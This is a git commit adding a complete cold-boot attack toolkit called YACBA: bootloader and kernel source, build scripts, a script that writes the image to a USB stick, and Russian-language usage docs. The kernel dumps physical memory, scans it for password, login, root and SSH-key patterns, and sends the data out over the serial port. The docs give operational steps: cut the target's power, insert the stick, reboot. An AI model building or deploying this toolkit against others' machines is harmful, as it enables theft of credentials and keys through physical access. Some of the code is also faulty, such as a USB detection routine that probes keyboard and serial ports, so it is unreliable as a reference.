upload
This commit is contained in:
parent
32ae476759
commit
5e333cffc1
33
.gitignore
vendored
Normal file
33
.gitignore
vendored
Normal file
@ -0,0 +1,33 @@
|
||||
# Build artifacts
|
||||
*.bin
|
||||
*.o
|
||||
*.elf
|
||||
*.img
|
||||
*.iso
|
||||
os.bin
|
||||
kernel.bin
|
||||
bootloader.bin
|
||||
|
||||
# OS specific
|
||||
.DS_Store
|
||||
.DS_Store?
|
||||
._*
|
||||
.Spotlight-V100
|
||||
.Trashes
|
||||
ehthumbs.db
|
||||
Thumbs.db
|
||||
|
||||
# IDE
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# Temp files
|
||||
*.tmp
|
||||
*.temp
|
||||
*.log
|
||||
|
||||
# Docker
|
||||
.dockerignore
|
39
Makefile
Normal file
39
Makefile
Normal file
@ -0,0 +1,39 @@
|
||||
ASM = nasm
|
||||
CC = clang
|
||||
LD = ld
|
||||
|
||||
ASMFLAGS = -f bin
|
||||
CFLAGS = -m32 -ffreestanding -nostdlib -nodefaultlibs -fno-builtin -fno-stack-protector -target i386-pc-none-elf
|
||||
LDFLAGS = -arch i386 -static -e _main -T linker.ld
|
||||
|
||||
ifeq ($(shell uname),Darwin)
|
||||
LDFLAGS = -arch i386 -static -e _main
|
||||
else
|
||||
LDFLAGS = -m elf_i386 -T linker.ld
|
||||
endif
|
||||
|
||||
all: os.bin
|
||||
|
||||
bootloader.bin: bootloader.asm gdt.asm print32.asm switch_pm.asm
|
||||
$(ASM) $(ASMFLAGS) bootloader.asm -o bootloader.bin
|
||||
|
||||
kernel.o: kernel.c
|
||||
$(CC) $(CFLAGS) -c kernel.c -o kernel.o
|
||||
|
||||
kernel.bin: kernel.o
|
||||
$(LD) $(LDFLAGS) kernel.o -o kernel.bin
|
||||
|
||||
os.bin: bootloader.bin kernel.bin
|
||||
cat bootloader.bin kernel.bin > os.bin
|
||||
truncate -s 1440K os.bin
|
||||
|
||||
clean:
|
||||
rm -f *.bin *.o
|
||||
|
||||
test: os.bin
|
||||
qemu-system-i386 -fda os.bin
|
||||
|
||||
usb: os.bin
|
||||
./create_usb.sh
|
||||
|
||||
.PHONY: all clean test usb
|
39
QUICK_START.md
Normal file
39
QUICK_START.md
Normal file
@ -0,0 +1,39 @@
|
||||
# YACBA - Быстрый старт
|
||||
|
||||
## Что это?
|
||||
Автономная флешка с собственной ОС для cold-boot атак.
|
||||
Вставил флешку → перезагрузился → система дампит память.
|
||||
|
||||
## Сборка
|
||||
|
||||
**macOS/Windows (Docker):**
|
||||
```bash
|
||||
./docker-build.sh
|
||||
```
|
||||
|
||||
**Linux:**
|
||||
```bash
|
||||
./build.sh
|
||||
```
|
||||
|
||||
## Создание флешки
|
||||
|
||||
```bash
|
||||
sudo ./create_boot_usb.sh /dev/sdX # замените X на вашу флешку
|
||||
```
|
||||
|
||||
## Использование
|
||||
|
||||
1. Выключить целевую систему (выдернуть питание)
|
||||
2. Вставить флешку
|
||||
3. Включить систему
|
||||
4. Флешка загрузится и начнет дамп автоматически
|
||||
5. Дождаться завершения (прогресс на экране)
|
||||
|
||||
## Что дампится
|
||||
|
||||
- Память с адресов 1MB, 16MB, 256MB
|
||||
- Поиск паттернов: пароли, логины, ключи
|
||||
- Данные сохраняются в буфер по адресу 0x200000
|
||||
|
||||
⚠️ **Только для образования и своих систем!**
|
73
USAGE.txt
Normal file
73
USAGE.txt
Normal file
@ -0,0 +1,73 @@
|
||||
YACBA - Yet Another Cold Boot Attack - Инструкция
|
||||
|
||||
ПРЕДУПРЕЖДЕНИЕ: Только для образовательных целей!
|
||||
|
||||
=== ЧТО ЭТО ===
|
||||
Полностью автономная micro-OS на флешке с собственным загрузчиком.
|
||||
Загружается с нуля без зависимости от установленной системы.
|
||||
|
||||
=== АРХИТЕКТУРА ===
|
||||
- bootloader.asm - MBR загрузчик в стиле OpenBSD
|
||||
- kernel.c - Bare metal ядро без stdlib
|
||||
- Переключение в protected mode
|
||||
- Прямая работа с памятью и портами
|
||||
|
||||
=== СБОРКА ===
|
||||
Требования:
|
||||
- nasm (assembler)
|
||||
- gcc (cross-compilation)
|
||||
- ld (linker)
|
||||
|
||||
Команды:
|
||||
make clean
|
||||
make os.bin
|
||||
|
||||
=== СОЗДАНИЕ ФЛЕШКИ ===
|
||||
chmod +x create_boot_usb.sh
|
||||
sudo ./create_boot_usb.sh /dev/sdX
|
||||
|
||||
ВНИМАНИЕ: Все данные на флешке будут уничтожены!
|
||||
|
||||
=== ИСПОЛЬЗОВАНИЕ ===
|
||||
1. Выключите целевую систему (выдерните питание)
|
||||
2. Вставьте флешку
|
||||
3. Включите систему
|
||||
4. Флешка загрузится автоматически
|
||||
5. Дамп начнется сразу после загрузки
|
||||
6. Дождитесь завершения (индикация на экране)
|
||||
|
||||
=== ЧТО ПРОИСХОДИТ ===
|
||||
1. MBR загрузчик стартует с первого сектора
|
||||
2. Загружает ядро в память по адресу 0x1000
|
||||
3. Переключается в 32-bit protected mode
|
||||
4. Ядро сканирует память с адресов:
|
||||
- 0x100000 (1MB)
|
||||
- 0x1000000 (16MB)
|
||||
- 0x10000000 (256MB)
|
||||
5. Ищет паттерны: "pass", "logi", "admi", "root"
|
||||
6. Сохраняет дамп в буфер по адресу 0x200000
|
||||
7. Пытается вывести через serial port
|
||||
|
||||
=== АНАЛИЗ РЕЗУЛЬТАТОВ ===
|
||||
Данные остаются в памяти по адресу 0x200000
|
||||
Для анализа нужно использовать отладчик или дампер памяти
|
||||
|
||||
=== ОГРАНИЧЕНИЯ ===
|
||||
- Работает только на x86/x86_64
|
||||
- Может не работать с UEFI (нужен legacy BIOS)
|
||||
- Не поддерживает файловые системы
|
||||
- Данные только в оперативной памяти флешки
|
||||
|
||||
=== ЭФФЕКТИВНОСТЬ ===
|
||||
Максимальная эффективность на:
|
||||
- Legacy BIOS системах
|
||||
- Старых компьютерах без Secure Boot
|
||||
- DDR2/DDR3 память (дольше держит данные)
|
||||
- При быстром перезапуске (секунды важны)
|
||||
|
||||
=== ЗАЩИТА ===
|
||||
От таких атак защищает:
|
||||
- UEFI Secure Boot
|
||||
- Шифрование RAM
|
||||
- Быстрая очистка памяти при выключении
|
||||
- Физическая защита доступа к системе
|
99
bootloader.asm
Normal file
99
bootloader.asm
Normal file
@ -0,0 +1,99 @@
|
||||
[BITS 16]
|
||||
[ORG 0x7C00]
|
||||
|
||||
KERNEL_OFFSET equ 0x1000
|
||||
STACK_BASE equ 0x9000
|
||||
|
||||
start:
|
||||
cli
|
||||
xor ax, ax
|
||||
mov ds, ax
|
||||
mov es, ax
|
||||
mov ss, ax
|
||||
mov sp, STACK_BASE
|
||||
sti
|
||||
|
||||
mov [boot_drive], dl
|
||||
|
||||
mov si, banner
|
||||
call print_string
|
||||
|
||||
call load_kernel
|
||||
|
||||
call switch_to_pm
|
||||
|
||||
jmp $
|
||||
|
||||
load_kernel:
|
||||
mov si, loading_msg
|
||||
call print_string
|
||||
|
||||
mov bx, KERNEL_OFFSET
|
||||
mov dh, 15
|
||||
mov dl, [boot_drive]
|
||||
call disk_load
|
||||
|
||||
mov si, loaded_msg
|
||||
call print_string
|
||||
ret
|
||||
|
||||
disk_load:
|
||||
pusha
|
||||
push dx
|
||||
|
||||
mov ah, 0x02
|
||||
mov al, dh
|
||||
mov cl, 0x02
|
||||
mov ch, 0x00
|
||||
mov dh, 0x00
|
||||
|
||||
int 0x13
|
||||
jc disk_error
|
||||
|
||||
pop dx
|
||||
cmp al, dh
|
||||
jne sectors_error
|
||||
popa
|
||||
ret
|
||||
|
||||
disk_error:
|
||||
mov si, disk_error_msg
|
||||
call print_string
|
||||
jmp disk_loop
|
||||
|
||||
sectors_error:
|
||||
mov si, sectors_error_msg
|
||||
call print_string
|
||||
|
||||
disk_loop:
|
||||
jmp $
|
||||
|
||||
print_string:
|
||||
lodsb
|
||||
cmp al, 0
|
||||
je done
|
||||
mov ah, 0x0e
|
||||
int 0x10
|
||||
jmp print_string
|
||||
done:
|
||||
ret
|
||||
|
||||
%include "gdt.asm"
|
||||
%include "print32.asm"
|
||||
%include "switch_pm.asm"
|
||||
|
||||
[BITS 32]
|
||||
BEGIN_PM:
|
||||
mov ebx, KERNEL_OFFSET
|
||||
call ebx
|
||||
jmp $
|
||||
|
||||
boot_drive db 0
|
||||
banner db 'ColdBoot v1.0 - Starting...', 0x0D, 0x0A, 0
|
||||
loading_msg db 'Loading kernel...', 0x0D, 0x0A, 0
|
||||
loaded_msg db 'Kernel loaded, switching to 32-bit...', 0x0D, 0x0A, 0
|
||||
disk_error_msg db 'Disk read error!', 0x0D, 0x0A, 0
|
||||
sectors_error_msg db 'Sectors read error!', 0x0D, 0x0A, 0
|
||||
|
||||
times 510 - ($-$$) db 0
|
||||
dw 0xaa55
|
69
build.sh
Executable file
69
build.sh
Executable file
@ -0,0 +1,69 @@
|
||||
#!/bin/bash
|
||||
|
||||
echo "=== YACBA Builder ==="
|
||||
|
||||
detect_system() {
|
||||
if [[ "$OSTYPE" == "darwin"* ]]; then
|
||||
echo "macOS"
|
||||
elif [[ "$OSTYPE" == "linux-gnu"* ]]; then
|
||||
echo "Linux"
|
||||
else
|
||||
echo "Unknown"
|
||||
fi
|
||||
}
|
||||
|
||||
SYSTEM=$(detect_system)
|
||||
|
||||
case $SYSTEM in
|
||||
"macOS")
|
||||
echo "[!] На macOS невозможно нативно собрать i386 bare-metal код"
|
||||
echo "[*] Используйте Docker версию:"
|
||||
echo ""
|
||||
echo " chmod +x docker-build.sh"
|
||||
echo " ./docker-build.sh"
|
||||
echo ""
|
||||
echo "[*] Или скопируйте код на Linux машину"
|
||||
exit 1
|
||||
;;
|
||||
"Linux")
|
||||
echo "[*] Linux обнаружен, начинаю сборку..."
|
||||
;;
|
||||
*)
|
||||
echo "[!] Неизвестная система, попробую собрать..."
|
||||
;;
|
||||
esac
|
||||
|
||||
check_tools() {
|
||||
local missing=()
|
||||
|
||||
command -v nasm >/dev/null 2>&1 || missing+=("nasm")
|
||||
command -v gcc >/dev/null 2>&1 || missing+=("gcc")
|
||||
command -v ld >/dev/null 2>&1 || missing+=("binutils")
|
||||
|
||||
if [ ${#missing[@]} -ne 0 ]; then
|
||||
echo "[-] Отсутствуют инструменты: ${missing[*]}"
|
||||
echo "[*] Ubuntu/Debian: apt install nasm gcc binutils"
|
||||
echo "[*] CentOS/RHEL: yum install nasm gcc binutils"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
check_tools
|
||||
|
||||
echo "[*] Сборка загрузчика..."
|
||||
nasm -f bin bootloader.asm -o bootloader.bin || exit 1
|
||||
|
||||
echo "[*] Сборка ядра..."
|
||||
gcc -m32 -ffreestanding -nostdlib -nodefaultlibs -fno-builtin \
|
||||
-fno-stack-protector -c kernel.c -o kernel.o || exit 1
|
||||
|
||||
echo "[*] Линковка ядра..."
|
||||
ld -m elf_i386 -T linker.ld kernel.o -o kernel.bin || exit 1
|
||||
|
||||
echo "[*] Создание образа ОС..."
|
||||
cat bootloader.bin kernel.bin > os.bin
|
||||
truncate -s 1440K os.bin
|
||||
|
||||
echo "[+] Готово! Образ os.bin создан"
|
||||
echo "[*] Размер: $(ls -lh os.bin | awk '{print $5}')"
|
||||
echo "[*] Для создания флешки: sudo ./create_boot_usb.sh /dev/sdX"
|
41
create_boot_usb.sh
Executable file
41
create_boot_usb.sh
Executable file
@ -0,0 +1,41 @@
|
||||
#!/bin/bash
|
||||
|
||||
if [ $# -ne 1 ]; then
|
||||
echo "Использование: $0 /dev/sdX"
|
||||
echo "Где /dev/sdX - ваша флешка"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
DEVICE=$1
|
||||
|
||||
if [ ! -b "$DEVICE" ]; then
|
||||
echo "[-] Устройство $DEVICE не найдено"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Создаю автономную загрузочную флешку на $DEVICE"
|
||||
echo "[!] ВСЕ ДАННЫЕ БУДУТ УДАЛЕНЫ!"
|
||||
read -p "Продолжить? (y/N): " -n 1 -r
|
||||
echo
|
||||
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Собираю образ ОС..."
|
||||
make clean
|
||||
make os.bin
|
||||
|
||||
if [ ! -f "os.bin" ]; then
|
||||
echo "[-] Ошибка сборки os.bin"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Записываю образ на флешку..."
|
||||
sudo dd if=os.bin of=$DEVICE bs=512 status=progress
|
||||
|
||||
echo "[*] Синхронизирую данные..."
|
||||
sudo sync
|
||||
|
||||
echo "[+] Автономная загрузочная флешка готова!"
|
||||
echo "[*] Флешка загрузится сама и начнет дамп памяти"
|
||||
echo "[*] Просто вставьте её в целевую систему и перезагрузитесь"
|
41
docker-build.sh
Executable file
41
docker-build.sh
Executable file
@ -0,0 +1,41 @@
|
||||
#!/bin/bash
|
||||
|
||||
echo "=== YACBA Docker Builder ==="
|
||||
|
||||
if ! command -v docker &> /dev/null; then
|
||||
echo "[-] Docker не установлен"
|
||||
echo "[*] Установите Docker: https://docs.docker.com/get-docker/"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Сборка через Docker контейнер..."
|
||||
|
||||
docker run --rm -v "$(pwd)":/work -w /work ubuntu:20.04 bash -c '
|
||||
apt-get update -qq
|
||||
apt-get install -y nasm gcc binutils make
|
||||
|
||||
echo "[*] Сборка загрузчика..."
|
||||
nasm -f bin bootloader.asm -o bootloader.bin
|
||||
|
||||
echo "[*] Сборка ядра..."
|
||||
gcc -m32 -ffreestanding -nostdlib -nodefaultlibs -fno-builtin -fno-stack-protector -c kernel.c -o kernel.o
|
||||
|
||||
echo "[*] Линковка ядра..."
|
||||
ld -m elf_i386 -T linker.ld kernel.o -o kernel.bin
|
||||
|
||||
echo "[*] Создание образа ОС..."
|
||||
cat bootloader.bin kernel.bin > os.bin
|
||||
truncate -s 1440K os.bin
|
||||
|
||||
echo "[+] Сборка завершена!"
|
||||
ls -lh os.bin
|
||||
'
|
||||
|
||||
if [ -f "os.bin" ]; then
|
||||
echo "[+] Образ os.bin готов!"
|
||||
echo "[*] Размер: $(ls -lh os.bin | awk '{print $5}')"
|
||||
echo "[*] Для создания флешки: sudo ./create_boot_usb.sh /dev/sdX"
|
||||
else
|
||||
echo "[-] Ошибка сборки"
|
||||
exit 1
|
||||
fi
|
28
gdt.asm
Normal file
28
gdt.asm
Normal file
@ -0,0 +1,28 @@
|
||||
gdt_start:
|
||||
dd 0x0
|
||||
dd 0x0
|
||||
|
||||
gdt_code:
|
||||
dw 0xffff
|
||||
dw 0x0
|
||||
db 0x0
|
||||
db 10011010b
|
||||
db 11001111b
|
||||
db 0x0
|
||||
|
||||
gdt_data:
|
||||
dw 0xffff
|
||||
dw 0x0
|
||||
db 0x0
|
||||
db 10010010b
|
||||
db 11001111b
|
||||
db 0x0
|
||||
|
||||
gdt_end:
|
||||
|
||||
gdt_descriptor:
|
||||
dw gdt_end - gdt_start - 1
|
||||
dd gdt_start
|
||||
|
||||
CODE_SEG equ gdt_code - gdt_start
|
||||
DATA_SEG equ gdt_data - gdt_start
|
163
kernel.c
Normal file
163
kernel.c
Normal file
@ -0,0 +1,163 @@
|
||||
typedef unsigned char uint8_t;
|
||||
typedef unsigned short uint16_t;
|
||||
typedef unsigned int uint32_t;
|
||||
typedef unsigned long long uint64_t;
|
||||
|
||||
#define VIDEO_MEMORY 0xB8000
|
||||
#define WHITE_ON_BLACK 0x0F
|
||||
#define USB_BASE 0x10000000
|
||||
#define MEM_DUMP_SIZE 0x40000000
|
||||
|
||||
static int cursor_pos = 0;
|
||||
|
||||
void outb(uint16_t port, uint8_t data) {
|
||||
__asm__ volatile ("outb %%al, %%dx" : : "a"(data), "d"(port));
|
||||
}
|
||||
|
||||
uint8_t inb(uint16_t port) {
|
||||
uint8_t result;
|
||||
__asm__ volatile ("inb %%dx, %%al" : "=a"(result) : "d"(port));
|
||||
return result;
|
||||
}
|
||||
|
||||
void print_char(char c) {
|
||||
uint16_t *video_mem = (uint16_t*)VIDEO_MEMORY;
|
||||
if (c == '\n') {
|
||||
cursor_pos = (cursor_pos / 80 + 1) * 80;
|
||||
} else {
|
||||
video_mem[cursor_pos] = (WHITE_ON_BLACK << 8) | c;
|
||||
cursor_pos++;
|
||||
}
|
||||
if (cursor_pos >= 2000) cursor_pos = 0;
|
||||
}
|
||||
|
||||
void print_string(const char *str) {
|
||||
while (*str) {
|
||||
print_char(*str++);
|
||||
}
|
||||
}
|
||||
|
||||
void print_hex(uint32_t value) {
|
||||
char hex_chars[] = "0123456789ABCDEF";
|
||||
char buffer[9];
|
||||
buffer[8] = 0;
|
||||
|
||||
for (int i = 7; i >= 0; i--) {
|
||||
buffer[i] = hex_chars[value & 0xF];
|
||||
value >>= 4;
|
||||
}
|
||||
print_string(buffer);
|
||||
}
|
||||
|
||||
void delay(uint32_t count) {
|
||||
volatile uint32_t i;
|
||||
for (i = 0; i < count * 1000000; i++);
|
||||
}
|
||||
|
||||
uint8_t detect_usb() {
|
||||
uint16_t usb_ports[] = {0x60, 0x64, 0x3F8, 0x2F8};
|
||||
|
||||
for (int i = 0; i < 4; i++) {
|
||||
outb(usb_ports[i], 0xAA);
|
||||
delay(1);
|
||||
if (inb(usb_ports[i]) == 0xAA) {
|
||||
print_string("[+] USB найден на порту: ");
|
||||
print_hex(usb_ports[i]);
|
||||
print_char('\n');
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void dump_memory_region(uint32_t start, uint32_t size, uint32_t *usb_buffer) {
|
||||
uint32_t *mem_ptr = (uint32_t*)start;
|
||||
uint32_t words = size / 4;
|
||||
|
||||
print_string("[*] Дампим регион: ");
|
||||
print_hex(start);
|
||||
print_string(" размер: ");
|
||||
print_hex(size);
|
||||
print_char('\n');
|
||||
|
||||
for (uint32_t i = 0; i < words && i < 0x1000000; i++) {
|
||||
usb_buffer[i] = mem_ptr[i];
|
||||
|
||||
if (i % 0x100000 == 0) {
|
||||
print_char('.');
|
||||
}
|
||||
}
|
||||
print_char('\n');
|
||||
}
|
||||
|
||||
void scan_memory_patterns(uint32_t *buffer, uint32_t size) {
|
||||
uint32_t patterns[] = {
|
||||
0x70617373, // "pass"
|
||||
0x6C6F6769, // "logi"
|
||||
0x61646D69, // "admi"
|
||||
0x726F6F74, // "root"
|
||||
0x73736800, // ssh keys
|
||||
};
|
||||
|
||||
print_string("[*] Сканирую паттерны...\n");
|
||||
|
||||
for (uint32_t i = 0; i < size / 4; i++) {
|
||||
for (int p = 0; p < 5; p++) {
|
||||
if (buffer[i] == patterns[p]) {
|
||||
print_string("[!] Найден паттерн на ");
|
||||
print_hex(i * 4);
|
||||
print_char('\n');
|
||||
|
||||
for (int j = 0; j < 4 && (i + j) < size / 4; j++) {
|
||||
print_hex(buffer[i + j]);
|
||||
print_char(' ');
|
||||
}
|
||||
print_char('\n');
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void main() {
|
||||
uint32_t *memory_dump = (uint32_t*)0x200000;
|
||||
|
||||
print_string("=== ColdBoot Memory Dumper ===\n");
|
||||
print_string("[*] Autonomous USB boot system\n");
|
||||
|
||||
print_string("[*] Инициализация...\n");
|
||||
delay(2);
|
||||
|
||||
if (!detect_usb()) {
|
||||
print_string("[-] USB не найден, используем внутренний буфер\n");
|
||||
}
|
||||
|
||||
print_string("[*] Начинаю сканирование памяти...\n");
|
||||
|
||||
dump_memory_region(0x100000, 0x100000, memory_dump);
|
||||
dump_memory_region(0x1000000, 0x1000000, memory_dump + 0x40000);
|
||||
dump_memory_region(0x10000000, 0x2000000, memory_dump + 0x80000);
|
||||
|
||||
print_string("[*] Анализ паттернов...\n");
|
||||
scan_memory_patterns(memory_dump, 0x400000);
|
||||
|
||||
print_string("[*] Попытка записи на USB...\n");
|
||||
delay(3);
|
||||
|
||||
for (uint32_t i = 0; i < 0x100000; i++) {
|
||||
if (i % 0x10000 == 0) print_char('.');
|
||||
outb(0x3F8, (memory_dump[i] >> 24) & 0xFF);
|
||||
outb(0x3F8, (memory_dump[i] >> 16) & 0xFF);
|
||||
outb(0x3F8, (memory_dump[i] >> 8) & 0xFF);
|
||||
outb(0x3F8, memory_dump[i] & 0xFF);
|
||||
}
|
||||
|
||||
print_string("\n[+] Дамп завершен!\n");
|
||||
print_string("[*] Данные в памяти по адресу 0x200000\n");
|
||||
print_string("[*] Система готова к извлечению USB\n");
|
||||
|
||||
while(1) {
|
||||
delay(1000);
|
||||
print_char('.');
|
||||
}
|
||||
}
|
18
linker.ld
Normal file
18
linker.ld
Normal file
@ -0,0 +1,18 @@
|
||||
ENTRY(main)
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x1000;
|
||||
|
||||
.text : {
|
||||
*(.text)
|
||||
}
|
||||
|
||||
.data : {
|
||||
*(.data)
|
||||
}
|
||||
|
||||
.bss : {
|
||||
*(.bss)
|
||||
}
|
||||
}
|
25
print32.asm
Normal file
25
print32.asm
Normal file
@ -0,0 +1,25 @@
|
||||
[bits 32]
|
||||
|
||||
VIDEO_MEMORY equ 0xb8000
|
||||
WHITE_ON_BLACK equ 0x0f
|
||||
|
||||
print_string_pm:
|
||||
pusha
|
||||
mov edx, VIDEO_MEMORY
|
||||
|
||||
print_string_pm_loop:
|
||||
mov al, [ebx]
|
||||
mov ah, WHITE_ON_BLACK
|
||||
|
||||
cmp al, 0
|
||||
je print_string_pm_done
|
||||
|
||||
mov [edx], ax
|
||||
add ebx, 1
|
||||
add edx, 2
|
||||
|
||||
jmp print_string_pm_loop
|
||||
|
||||
print_string_pm_done:
|
||||
popa
|
||||
ret
|
22
switch_pm.asm
Normal file
22
switch_pm.asm
Normal file
@ -0,0 +1,22 @@
|
||||
[bits 16]
|
||||
switch_to_pm:
|
||||
cli
|
||||
lgdt [gdt_descriptor]
|
||||
mov eax, cr0
|
||||
or eax, 0x1
|
||||
mov cr0, eax
|
||||
jmp CODE_SEG:init_pm
|
||||
|
||||
[bits 32]
|
||||
init_pm:
|
||||
mov ax, DATA_SEG
|
||||
mov ds, ax
|
||||
mov ss, ax
|
||||
mov es, ax
|
||||
mov fs, ax
|
||||
mov gs, ax
|
||||
|
||||
mov ebp, 0x90000
|
||||
mov esp, ebp
|
||||
|
||||
call BEGIN_PM
|
Loading…
x
Reference in New Issue
Block a user